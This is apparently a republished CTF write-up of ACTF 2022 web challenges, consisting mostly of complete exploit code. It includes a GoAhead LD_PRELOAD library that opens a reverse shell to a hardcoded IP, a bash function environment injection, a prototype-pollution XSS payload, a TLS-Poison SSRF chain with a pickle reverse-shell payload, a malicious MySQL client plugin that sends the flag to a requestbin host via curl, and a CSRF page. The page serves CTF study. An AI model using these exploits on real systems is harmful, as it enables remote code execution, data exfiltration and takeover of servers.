当前位置:网站首页>[2022 actf] Web Topic recurrence
[2022 actf] Web Topic recurrence
2022-07-07 07:45:00 【Snakin_ ya】
gogogo
Examination site :
- goahead Environment variable injection
Problem solving :
see dockerfile The use environment of the problem is goahead5.1.4, Associated with the p God's record of the recurrence of this vulnerability , We have two ways to solve the problem :
- hijacked
LD_PRELOAD
Dynamic link library for - Using environment variable injection RCE
GoAhead Environmental variable injection recurrence stepping on the pit
Law 1 :
hack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void aaanb(void)
{
unsetenv("LD_PRELOAD");
system("touch /tmp/success");
system("/bin/bash -c 'bash -i >& /dev/tcp/1.117.171.248/39543 0>&1'");
}
compile
gcc hack.c -fPIC -s -shared -o hack.so
exp.py
import requests, random
from concurrent import futures
from requests_toolbelt import MultipartEncoder
hack_so = open('hack.so','rb').read()
def upload(url):
m = MultipartEncoder(
fields = {
'file':('1.txt', hack_so,'application/octet-stream')
}
)
r = requests.post(
url = url,
data=m,
headers={
'Content-Type': m.content_type}
)
def include(url):
m = MultipartEncoder(
fields = {
'LD_PRELOAD': '/proc/self/fd/7',
}
)
r = requests.post(
url = url,
data=m,
headers={
'Content-Type': m.content_type}
)
def race(method):
url = 'http://1.117.171.248:10218/cgi-bin/hello'
if method == 'include':
include(url)
else:
upload(url)
def main():
task = ['upload','include'] * 1000
random.shuffle(task) #
with futures.ThreadPoolExecutor(max_workers=5) as executor:
results = list(executor.map(race, task))
if __name__ == "__main__":
main()
Law two :
exp.py
import requests
payload = {
"BASH_FUNC_env%%":(None,"() { cat /flag; exit; }"),
}
r = requests.post("http:/1.117.171.248:10218/cgi-bin/hello",files=payload)
print(r.text)
poorui
Take a brief look at the code logic :
server.js
const apiGetFlag = (ws) => {
username2ws.get('flagbot').send(JSON.stringify({
api: "getflag",
from: ws2username.get(ws)
}))
}
The whole topic passed websockets signal communication , When api by getflag Time passes in flagbot
const handleGetFlag = (from) => {
console.log('[getflag]', from)
if(from === 'admin'){
conn.send(JSON.stringify({
api: 'sendflag',
flag: FLAG,
to: from
}))
}
}
Here we find admin There are no restrictions on login , So let's log in admin Again getflag that will do
{"api":"login","username":"admin"}
{"api":"getflag","to":"flagbot"}
The expected solution :
1.lodash prototype pollution
2.image xss (many ways)
3.make the admin refresh the browser page and goto a third party site which would connect to the websocket server as a client
4.login as admin, getflag and send it to your favorite nc -lvp 1337
Prototype chain pollution :
content: {
type: 'tpl',
data: {
tpl: '<h3>{
{b}}</h3>',
ctx: '{"a":123, "b":123, "__proto__":{"allowImage":true}}'
}
}
xss:
content: {
type: 'image',
data: {
src: 'https://i.picsum.photos/id/220/200/200.jpg?hmac=1eed0JUIOlpc-iGslem_jB1FORVXUdRtOmgpHxDDKZQ',
attrs: {
wow: 1,
dangerouslySetInnerHTML: {
__html: "<img οnerrοr='location.href=`http://evil.com`' src=1>"
}
}
}
}
ToLeSion
Examination site :
- TLS-Poison
- An article takes you to understand TLS Poison attack
- TLS-Poison The way of attack is CTF Utilization practice in
Problem solving :
TLS Poison The attack passed FTPS Passive mode ssrf Go fight Memcached, Due to the use memcache Storage session There is de serialization , write in session The value is pickle Deserialization payload.
Use the tools of the land team to build the environment :
https://github.com/ZeddYu/TLS-poison
install TLS Server
# Install dependencies
sudo apt install git redis
git clone https://github.com/jmdx/TLS-poison.git
# Install rust:
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
cd TLS-poison/client-hello-poisoning/custom-tls
# There will definitely be warnings I didn't clean up :)
cargo build
After the environment is ready, you need to create a forwarder with a certificate 11211 The data of the port is forwarded to 2048 port :
target/debug/custom-tls -p 11211 --verbose --certs
/etc/nginx/ssl/ctf.edisec.net.pem --key
/etc/nginx/ssl/ctf.edisec.net.key forward 2048
And then in 2048 The port has a ftp Used to handle forwarded traffic :
import socketserver, threading,sys
class MyTCPHandler(socketserver.StreamRequestHandler):
def handle(self):
print('[+] connected', self.request, file=sys.stderr)
self.request.sendall(b'220 (vsFTPd 3.0.3)\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr,flush=True)
self.request.sendall(b'230 Login successful.\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'200 yolo\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'200 yolo\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'257 "/" is the current directory\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,203)\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,203)\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'200 Switching to Binary mode.\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'125 Data connection already open. Transfer starting.\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
# 226 Transfer complete.
self.request.sendall(b'250 Requested file action okay, completed.')
exit()
def ftp_worker():
with socketserver.TCPServer(('0.0.0.0', 2048), MyTCPHandler) as server:
while True:
server.handle_request()
threading.Thread(target=ftp_worker).start()
exp.py
import redis
import pickle,requests
def get_pickle_payload(cmd):
class AAA():
def __reduce__(self):
return (__import__('os').system, (cmd,))
aaa = AAA()
payload = pickle.dumps(aaa)
return payload
def parse(x):
return b'\r\n' + x + b'\r\n'
def set(key, value):
return parse(b'set %s 0 0 %d\n%s' % (key.encode(), len(value), value))
def rce():
r = requests.get(
url = 'http://localhost:10023/?url=ftps://ctf.zjusec.top:8888/'
)
print(r.text)
r = requests.get(
url = 'http://localhost:10023/?url=file:///etc/passwd',
headers={
'Cookie':'session=aaa'
}
)
print(r.text)
def local_set():
payload = get_pickle_payload('/bin/bash -c "bash -i >& /dev/tcp/150.158.58.29/7777 0>&1"')
r = redis.StrictRedis(host='localhost', port=6379, db=0)
redis_payload = set('actfSession:aaa', payload)
print(redis_payload)
r.set('payload', redis_payload)
if __name__ == "__main__":
rce()
myclient
Source code :
<?php
$con = mysqli_init();
$key = $_GET['key'];
$value = $_GET['value'];
if(strlen($value) > 1500){
die('too long');
}
if (is_numeric($key) && is_string($value)) {
mysqli_options($con, $key, $value);
}
mysqli_options($con, MYSQLI_OPT_LOCAL_INFILE, 0);
if (!mysqli_real_connect($con, "127.0.0.1", "test", "test123456", "mysql")) {
$content = 'connect failed';
} else {
$content = 'connect success';
}
mysqli_close($con);
echo $content;
?>
Problem solving :
Use
MYSQLI_INIT_COMMAND
Options +INTO DUMPFILE
, Write a evil mysql Client authentication library to/tmp/e10adc3949ba59abbe56e057f20f883e
Use
MYSQLI_INIT_COMMAND
Options +INTO DUMPFILE
Write a Defaults To configure , amonggroup=client plugin-dir=/tmp/e10adc3949ba59abbe56e057f20f883e
anddefault-auth=<name of library file - extension>
Use
MYSQLI_READ_DEFAULT_FILE
Option set to/tmp/e10adc3949ba59abbe56e057f20f883e/
To load a malicious configuration file , This file will trigger our evil.so , Then the trigger init function .
RCE
evil.c
#include <mysql/client_plugin.h>
#include <mysql.h>
#include <stdio.h>
/* Ubuntu x86_64: apt install libmysqlclient-dev gcc -shared -I /usr/include/mysql/ -o evilplugin.so evilplugin.c NOTE: the plugin_name MUST BE the full name with the directory traversal!!! */
static int evil_init(char * a, size_t b , int c , va_list ds)
{
system("/readflag | curl -XPOST http://dnsdatacheck.7twx8in3gacdrrvq.b.requestbin.net/xxd -d @-");
return NULL;
}
static int evilplugin_client(MYSQL_PLUGIN_VIO *vio, MYSQL *mysql)
{
int res;
res= vio->write_packet(vio, (const unsigned char *) mysql->passwd, strlen(mysql->passwd) + 1);
return CR_OK;
}
mysql_declare_client_plugin(AUTHENTICATION)
"auth_simple", /* plugin name */
"Author Name", /* author */
"Any-password authentication plugin", /* description */
{
1,0,0}, /* version = 1.0.0 */
"GPL", /* license type */
NULL, /* for internal use */
evil_init, /* no init function */
NULL, /* no deinit function */
NULL, /* no option-handling function */
evilplugin_client /* main function */
mysql_end_client_plugin;
compile :
gcc -shared -I /usr/include/mysql/ -o evilplugin.so evilplugin.c
exp.py
import requests
import random
import string
import codecs
def genName():
return random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters)+ random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters) +random.choice(string.ascii_letters)
url = "http://1.117.171.248:10047/index.php"
shell = open("exp.so","rb").read()
n = 100
chunks = [shell[i:i+n] for i in range(0, len(shell), n)]
print(len(chunks))
prefix = genName()
for idx in range(len(chunks)):
name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK"+str(idx);
chunk = chunks[idx];
x = "0x" +codecs.encode(chunk,'hex').decode()
if idx != 0 and idx != len(chunks)-1:
previus_name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK"+str(idx-1)
sql = f"SELECT concat(LOAD_FILE('{
previus_name}'), {
x}) INTO DUMPFILE '{
name}'"
r = requests.get(url,params={
"key":"3", "value": sql})
print(r.text)
print(name)
elif idx == len(chunks)-1:
previus_name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK"+str(idx-1)
sql = f"SELECT concat(LOAD_FILE('{
previus_name}'), {
x}) INTO DUMPFILE '/tmp/e10adc3949ba59abbe56e057f20f883e/auth_simple.so'"
r = requests.get(url,params={
"key":"3", "value": sql})
print(r.text)
open("name","w").write("auth_simple")
print("auth_simple")
else:
sql = f"SELECT {
x} INTO DUMPFILE '{
name}'"
r = requests.get(url,params={
"key":"3", "value": sql})
print(r.text)
beWhatYouWannaBe
exp.html
<html>
<head>
<title>csrf</title>
</head>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script src="https://cdn.bootcdn.net/ajax/libs/js-sha256/0.9.0/sha256.js"></script>
<body>
<iframe name=fff srcdoc="<form id=lll name=aaa><input id=ggg value=this_is_what_i_want></input></form><form id=lll></form>"></iframe>
<form id="form" action="http://localhost:8000/beAdmin" method="post">
<input name="username" value="aaa">
<input name="csrftoken" id="csrftoken" value="1">
</form>
<script> function getToken() {
return sha256(Math.sin(Math.floor(Date.now() / 1000)).toString()) } $("#csrftoken").attr("value", getToken()) document.getElementById("form").submit() </script>
</body>
</html>
https://portswigger.net/research/dom-clobbering-strikes-back
Reference resources :
http://www.yongsheng.site/2022/06/30/AAActf/
https://github.com/team-s2/ACTF-2022/tree/main/web
边栏推荐
- How can a 35 year old programmer build a technological moat?
- 242. Bipartite graph determination
- Determining the full type of a variable
- Why is the row of SQL_ The ranking returned by number is 1
- [2022 ACTF]web题目复现
- [experience sharing] how to expand the cloud service icon for Visio
- Idea add class annotation template and method template
- 图解GPT3的工作原理
- vus.SSR在asynData函数中请求数据的注意事项
- JSON introduction and JS parsing JSON
猜你喜欢
Calculus key and difficult points record part integral + trigonometric function integral
面试结束后,被面试官在朋友圈吐槽了......
Technology cloud report: from robot to Cobot, human-computer integration is creating an era
1141_ SiCp learning notes_ Functions abstracted as black boxes
【数学笔记】弧度
[SUCTF 2019]Game
A concurrent rule verification implementation
IPv4 exercises
【斯坦福计网CS144项目】Lab3: TCPSender
About some details of final, I have something to say - learn about final CSDN creation clock out from the memory model
随机推荐
基于Flask搭建个人网站
外包干了三年,废了...
Leetcode-226. Invert Binary Tree
buuctf misc USB
CentOS7下安装PostgreSQL11数据库
Gslx680 touch screen driver source code analysis (gslx680. C)
resource 创建包方式
按键精灵脚本学习-关于天猫抢红包
Invalid table alias or column reference`xxx`
Summary of customer value model (RFM) technology for data analysis
[SUCTF 2019]Game
JS get all date or time stamps between two time stamps
Build personal website based on flask
按键精灵采集学习-矿药采集及跑图
Resource create package method
Iterable、Collection、List 的常见方法签名以及含义
Pytorch parameter initialization
Deep learning Flower Book + machine learning watermelon book electronic version I found
ASEMI整流桥RS210参数,RS210规格,RS210封装
解决问题:Unable to connect to Redis